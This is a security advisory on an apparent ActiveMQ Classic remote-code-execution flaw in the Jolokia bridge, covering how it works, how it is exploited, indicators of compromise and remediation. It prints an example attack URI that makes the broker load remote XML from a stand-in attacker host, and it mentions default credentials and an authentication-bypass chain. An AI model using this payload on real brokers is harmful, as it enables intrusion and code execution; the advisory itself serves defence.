CVE-2026-34197

What is Apache ActiveMQ?

Apache ActiveMQ Classic is one of the most widely deployed open-source message brokers in the world. It implements the Java Message Service (JMS) specification and is used for asynchronous communication between applications in enterprise architectures — financial systems, logistics platforms, healthcare integration engines, and government infrastructure all commonly rely on it. Because ActiveMQ brokers sit at the heart of application data flows and are often granted broad network access, a compromised broker provides attackers with a powerful foothold for lateral movement, data exfiltration, and persistent access across connected systems.

Overview

CVE-2026-34197 is a remote code execution vulnerability in Apache ActiveMQ Classic, rooted in improper input validation (CWE-20) in the broker's Jolokia JMX-HTTP bridge. An authenticated attacker — or an unauthenticated attacker on certain affected versions — can craft a malicious API request that causes the ActiveMQ broker to load a remote Spring XML configuration file and execute arbitrary OS commands in the context of the broker's JVM process.

The flaw sat hidden in ActiveMQ Classic for 13 years before being discovered in 2026 by security researcher Naveen Sunkavally of Horizon3.ai — notably with significant assistance from Anthropic's Claude AI, which traced the full attack chain in approximately 10 minutes.

Affected Versions

Important: On ActiveMQ versions 6.0.0 through 6.1.1, a separate flaw (CVE-2024-32114) inadvertently strips authentication from the /api/* path, making CVE-2026-34197 a fully unauthenticated RCE on those builds — no credentials required whatsoever.

Technical Details

Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on its web console (default port 8161). The default Jolokia access policy permits exec operations on all ActiveMQ MBeans matching org.apache.activemq:*, including two critical management operations:

• BrokerService.addNetworkConnector(String)
• BrokerService.addConnector(String)

An attacker with credentials (or on unauth-exposed builds) can invoke addNetworkConnector with a crafted VM transport URI containing a brokerConfig parameter pointing to a remote URL:

vm://localhost?brokerConfig=xbean:http://attacker.com/malicious.xml

This causes the broker to fetch the remote file and instantiate it as a Spring ResourceXmlApplicationContext. Because Spring's bean factory instantiates all singleton beans eagerly before the BrokerService validates the configuration, any Spring bean definition in the remote XML that calls Runtime.exec() or similar executes immediately — arbitrary code runs in the broker's JVM.

The patch removed the ability for addNetworkConnector to accept vm:// transports, as this functionality was never intended to be exposed as a remote management operation.

Discovery

CVE-2026-34197 was discovered by Naveen Sunkavally of Horizon3.ai with the assistance of Anthropic's Claude AI. In a widely-reported research disclosure, Sunkavally used Claude to analyze the ActiveMQ codebase and trace the full exploitation chain — from the Jolokia API surface to the Spring context loading path to arbitrary code execution — in approximately 10 minutes. The vulnerability had been present in the codebase for 13 years prior to this discovery.

This case became a notable example of AI-assisted vulnerability research in practice and received substantial coverage from BleepingComputer, SecurityWeek, Help Net Security, and CyberSecurityNews.

Exploitation Context

CISA's KEV listing on April 16, 2026 — nine days after the patch was published — confirms that threat actors moved quickly to operationalize this exploit. The attack characteristics make it particularly dangerous:

• Low barrier to entry: A single HTTP POST to /api/jolokia/ is sufficient to trigger RCE.
• Default credentials are widespread: The default admin:admin credentials are commonly left unchanged across enterprise ActiveMQ deployments, satisfying the "Low Privileges" authentication requirement trivially.
• Unauthenticated on 6.0.x–6.1.1: Any internet-facing ActiveMQ 6.0.0–6.1.1 instance is a trivially exploitable RCE target with no credentials needed (via CVE-2024-32114 auth bypass chaining).
• Long window of exposure: The 13-year window means virtually every ActiveMQ Classic installation in existence has been vulnerable since at least 2013.

ActiveMQ has been a consistent ransomware and nation-state target — a prior critical RCE (CVE-2023-46604) was weaponized within days of disclosure in 2023 by ransomware groups including HelloKitty/FiveHands. CVE-2026-34197 follows the same pattern.

Indicators of Compromise

Review ActiveMQ broker logs and network traffic for:

• POST requests to /api/jolokia/ containing addNetworkConnector in the body
• VM transport URIs with brokerConfig=xbean:http pointing to external hosts
• Outbound HTTP requests originating from the ActiveMQ Java process to unexpected external hosts
• Unexpected child processes spawned by the ActiveMQ JVM (e.g., java spawning sh, bash, cmd.exe)

Remediation

1. Upgrade Apache ActiveMQ Classic to version 5.19.4 or 6.2.3 immediately. Downloads and release notes are available at activemq.apache.org.
2. If you are running 6.0.0–6.1.1, treat this as a fully unauthenticated RCE and escalate patching priority. These versions are also vulnerable via CVE-2024-32114, which removes the authentication barrier entirely.
3. Restrict access to the web console (port 8161) — if the ActiveMQ web console does not need to be internet-accessible, block it at the firewall. Restrict to trusted management IP ranges only.
4. Disable or restrict Jolokia exec operations — edit the Jolokia access policy (jolokia-access.xml) to deny exec requests if you cannot patch immediately.
5. Change default credentials — replace the default admin:admin (and any other default accounts) with strong, unique passwords immediately.
6. Audit for prior exploitation — search logs for the IOCs listed above. If anomalous Jolokia activity or unexpected child processes are found, assume compromise and initiate incident response.
7. Consider migrating to ActiveMQ Artemis — the next-generation successor to ActiveMQ Classic. Artemis is not affected by this vulnerability and is the recommended long-term path for new and existing deployments.